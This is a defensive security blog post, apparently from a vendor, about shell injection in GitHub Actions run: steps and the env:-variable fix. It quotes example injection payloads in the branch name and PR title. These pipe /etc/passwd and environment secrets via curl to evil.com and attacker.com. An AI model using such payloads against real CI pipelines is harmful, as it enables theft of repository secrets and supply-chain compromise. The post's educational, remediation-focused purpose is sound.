GitHub Actions Shell Injection: How ${{}} Context Variables Can Compromise Your CI/CD Pipeline
Vulnerability: GitHub Actions Run Shell Injection
Severity: š“ HIGH
File:.github/workflows/deployment.yml
Fixed By: Automated security remediation via OrbisAI Security
Introduction
CI/CD pipelines have become the beating heart of modern software delivery. Every commit, every pull request, every deployment flows through them ā which is exactly why they've become a prime target for attackers. A single vulnerability in your GitHub Actions workflow can hand an adversary the keys to your entire kingdom: your secrets, your source code, and your production infrastructure.
This post explores a high-severity shell injection vulnerability found in a GitHub Actions deployment workflow ā specifically, the dangerous pattern of using ${{github.*}} context variable interpolation directly inside run: steps. If you write GitHub Actions workflows, this is a vulnerability pattern you absolutely need to understand.
The Vulnerability Explained
What Is Shell Injection in GitHub Actions?
GitHub Actions workflows use a special expression syntax ā ${{ ... }} ā to interpolate dynamic values into workflow files. This syntax is powerful and convenient, letting you reference things like:
${{ github.event.pull_request.title }}ā the PR title${{ github.head_ref }}ā the branch name${{ github.event.issue.body }}ā the body of an issue
The problem? These values can contain arbitrary user-supplied input. When you interpolate them directly into a run: step shell script, GitHub Actions substitutes the value before the shell ever sees it. This means the shell doesn't just receive data ā it receives potentially executable code.
This is the classic code injection pattern, just wearing a CI/CD disguise.
The Vulnerable Pattern
Here's what the dangerous pattern looks like:
# ā VULNERABLE: Direct interpolation of github context in run step
steps:
- name: Deploy application
run: |
echo "Deploying branch: ${{ github.head_ref }}"
./deploy.sh --branch "${{ github.head_ref }}"
At first glance, this looks completely harmless. But consider what happens when github.head_ref contains something like:
main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #
After GitHub Actions performs its template substitution, the shell receives:
echo "Deploying branch: main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #"
./deploy.sh --branch "main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #"
The injected payload executes as a legitimate shell command ā with full access to the runner environment.
How Does an Attacker Control These Values?
This is where it gets concerning. Many github context properties are directly controlled by external users:
| Context Variable | Controlled By |
|---|---|
github.event.pull_request.title |
Anyone who opens a PR |
github.event.pull_request.body |
Anyone who opens a PR |
github.head_ref |
Anyone who opens a PR (branch name) |
github.event.issue.title |
Anyone who opens an issue |
github.event.issue.body |
Anyone who opens an issue |
github.event.comment.body |
Anyone who comments |
github.event.review.body |
Anyone who submits a review |
In open-source repositories ā or any repository where external contributors can open pull requests ā any anonymous user on the internet can supply these values.
Real-World Attack Scenario
Imagine a public open-source project with a deployment workflow that prints the PR title in a run: step. An attacker forks the repository and opens a pull request with this title:
Fix bug"; env | base64 | curl -X POST https://attacker.com/collect -d @-; echo "
When the workflow triggers on pull_request, the injected commands run inside the GitHub Actions runner, which has access to:
- All repository secrets (via environment variables)
- GITHUB_TOKEN (potentially with write access)
- Cloud credentials (AWS keys, GCP service accounts, etc.)
- The entire source code and build artifacts
The attacker receives a base64-encoded dump of all environment variables ā including every secret configured in the repository ā sent directly to their server. This is a complete supply chain compromise achieved through nothing more than a cleverly named pull request.
Why Is This Particularly Dangerous?
- It's invisible to code review ā the workflow YAML looks normal
- It affects secrets directly ā runners have access to all configured secrets
- It can persist ā attackers can use the access to backdoor the codebase
- It's easy to miss ā the pattern is common and looks idiomatic
- Workflows often run with elevated permissions ā especially deployment workflows
The Fix
What Changed
The fix is conceptually simple but critically important: never interpolate github context data directly into shell commands. Instead, pass the data through an intermediate environment variable defined in the env: block of the step.
# ā BEFORE: Vulnerable ā direct interpolation in shell
steps:
- name: Deploy application
run: |
echo "Deploying branch: ${{ github.head_ref }}"
./deploy.sh --branch "${{ github.head_ref }}"
# ā
AFTER: Safe ā using intermediate environment variable
steps:
- name: Deploy application
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Deploying branch: $BRANCH_NAME"
./deploy.sh --branch "$BRANCH_NAME"
Why Does This Fix Work?
The key difference is when and how the value is processed:
Vulnerable pattern:
1. GitHub Actions template engine substitutes ${{ github.head_ref }} directly into the shell script text
2. The shell receives and executes the fully-substituted string as code
3. Any shell metacharacters in the value are interpreted as commands
Fixed pattern:
1. GitHub Actions template engine assigns ${{ github.head_ref }} to the environment variable BRANCH_NAME
2. The shell script references $BRANCH_NAME as a data value, not as inline code
3. The shell treats the environment variable's content as a string, not as executable syntax
This is the same principle behind parameterized queries in SQL injection prevention ā you separate code from data. The env: block creates a safe boundary where user-controlled values are treated as data, not code.
The Importance of Double-Quoting
Notice the double quotes around "$BRANCH_NAME" in the fixed example. This is not optional:
# ā
Correct ā quoted, handles spaces and special characters safely
./deploy.sh --branch "$BRANCH_NAME"
# ā ļø Risky ā unquoted, vulnerable to word splitting
./deploy.sh --branch $BRANCH_NAME
Always double-quote environment variables in shell scripts, especially those derived from user input. Unquoted variables can still lead to unexpected behavior through word splitting and globbing, even when the injection vector is closed.
Applying the Fix Across Multiple Steps
If multiple steps in your workflow use the same context value, define the environment variable at the job level:
# ā
Job-level env for reuse across steps
jobs:
deploy:
runs-on: ubuntu-latest
env:
BRANCH_NAME: ${{ github.head_ref }}
PR_TITLE: ${{ github.event.pull_request.title }}
steps:
- name: Log deployment info
run: echo "Deploying $PR_TITLE from branch $BRANCH_NAME"
- name: Run deployment
run: ./deploy.sh --branch "$BRANCH_NAME"
Prevention & Best Practices
1. Treat All github Context Data as Untrusted
Adopt a simple mental model: any github context value that could have been set by an external user is untrusted input. This includes anything derived from:
- Pull request metadata (title, body, branch names, labels)
- Issue metadata (title, body)
- Comment bodies
- Review bodies
- Commit messages (yes, these too!)
2. Use the env: Block as Your Safety Boundary
Make it a team convention: ${{ github.* }} belongs in env: blocks, never in run: scripts.
# ā
The golden rule
env:
SAFE_VAR: ${{ github.potentially_dangerous_value }}
run: |
use_it "$SAFE_VAR"
3. Use toJSON() for Complex Values
When working with complex context objects, use the toJSON() function to safely serialize them:
env:
PR_BODY: ${{ toJSON(github.event.pull_request.body) }}
run: |
echo "$PR_BODY" | process_safely
4. Prefer actions/github-script for Complex Logic
For workflows that need to do significant processing of GitHub context data, consider using actions/github-script instead of shell scripts. It provides a JavaScript environment where you can handle user input more safely:
- uses: actions/github-script@v7
with:
script: |
const branchName = context.payload.pull_request.head.ref;
// Handle branchName as a JS string, not shell code
console.log(`Branch: ${branchName}`);
5. Restrict Workflow Permissions
Apply the principle of least privilege to your workflows. Limit what a compromised runner can actually do:
permissions:
contents: read # Only what you need
pull-requests: write # Only what you need
# NOT: write-all
6. Use Static Analysis Tools
Catch these vulnerabilities before they reach production:
- Semgrep ā The scanner that caught this vulnerability. Run it in your CI pipeline with the GitHub Actions ruleset.
- actionlint ā A static checker specifically for GitHub Actions workflows that catches shell injection patterns.
- zizmor ā A security-focused static analysis tool for GitHub Actions.
- StepSecurity Harden-Runner ā Runtime security for GitHub Actions runners.
Add actionlint to your workflow validation:
- name: Lint GitHub Actions workflows
uses: raven-actions/actionlint@v2
7. Enable Branch Protection and Workflow Approvals
For public repositories, require approval before running workflows on pull requests from first-time contributors:
on:
pull_request_target:
# Requires explicit approval for external PRs
ā ļø Warning:
pull_request_targetruns in the context of the base branch and has access to secrets. Use it carefully and never check out untrusted code with it.
Security Standards & References
This vulnerability maps to several well-known security standards:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
- OWASP A03:2021: Injection
- GitHub Security Advisory: Understanding the risk of script injections
- SLSA Framework: Supply chain integrity requirements
Conclusion
Shell injection in GitHub Actions is a subtle but devastating vulnerability class. The ${{ }} syntax is so natural and idiomatic in workflow files that it's easy to use it everywhere ā including places where it creates serious security holes. The fix is equally simple: always route github context data through env: variables before using them in shell scripts.
Key Takeaways
${{ github.* }}inrun:steps = shell injection risk ā always useenv:as an intermediary- User-controlled context values are untrusted input ā treat them like data from the internet
- Always double-quote your environment variables ā
"$VAR"not$VAR - Use static analysis tools ā Semgrep and actionlint can catch this automatically
- Apply least privilege ā limit what a compromised runner can access
CI/CD pipelines are high-value targets precisely because they sit at the intersection of code, secrets, and production infrastructure. A small fix like this one ā a few lines of YAML ā can be the difference between a routine deployment and a catastrophic breach.
Secure your pipelines. Your future self (and your users) will thank you.
This vulnerability was automatically detected and fixed by OrbisAI Security. Automated security scanning helps catch these issues before they reach production ā consider integrating security scanning into your own CI/CD pipeline.
Further Reading:
- GitHub Docs: Security hardening for GitHub Actions
- Semgrep Rules: GitHub Actions Security
- Keeping your GitHub Actions and workflows secure: Preventing pwn requests
- actionlint: Static checker for GitHub Actions workflow files